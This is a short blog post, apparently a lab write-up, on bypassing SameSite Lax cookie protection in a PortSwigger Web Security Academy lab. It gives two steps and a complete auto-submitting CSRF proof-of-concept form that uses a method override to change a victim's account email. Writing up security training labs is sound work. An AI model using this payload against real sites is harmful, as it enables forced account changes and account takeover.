CSRF - CRAFTS | Shahul Hameed

 SameSite LAX bypass -

1. You should be change method POST to GET.

2. Add hidden POST method.

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="https://0a0900a70419828cc0a45e0b00540080.web-security-academy.net/my-account/change-email" method="GET">

      <input type="hidden" name="_method" value="POST" />

<input type="hidden" name="email" value="pwned1&#64;pwned&#46;com" />

      <input type="submit" value="Submit request" />

    </form>

    <script>

      document.forms[0].submit();

    </script>

  </body>

</html>


Comments

Popular posts from this blog

Using Burp Suite - Brute Force payloads using XSS Validator(Extension) | Shahul Hameed

Janus Vulnerability Exploitation

SQL Basics | Shahul Hameed